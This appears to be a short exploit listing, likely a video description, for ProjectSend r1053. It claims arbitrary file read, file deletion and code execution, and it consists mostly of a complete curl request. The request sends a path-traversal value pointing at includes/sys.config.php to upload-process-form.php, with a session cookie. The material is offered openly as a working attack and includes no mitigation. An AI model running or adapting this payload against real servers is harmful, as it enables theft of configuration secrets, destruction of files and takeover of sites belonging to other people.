ProjectSend r1053 Arbitrary File Read and Code Execution Exploit

Описание: A quick video showing how to exploit ProjectSend r1053 (latest stable release, as of April 17th 2019), allowing malicious users to read and delete arbitrary files (accessible by www-data) and run arbitrary code.

Curl Payload:
curl 'http://192.168.200.183/upload-process-form.php' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://192.168.200.183' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://192.168.200.183/upload-process-form.php' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9,pt;q=0.8,ru;q=0.7,es;q=0.6,pl;q=0.5' -H 'Cookie: PHPSESSID=45h0ndm0sbak7ggcj26e2f0od0' --data 'finished_files%5B%5D=../../includes/sys.config.php&file%5B1%5D%5Boriginal%5D=../../includes/sys.config.php&file%5B1%5D%5Bfile%5D=hacked.txt&file%5B1%5D%5Bname%5D=own3d&file%5B1%5D%5Bdescription%5D=&upload_failed=&submit=' --compressed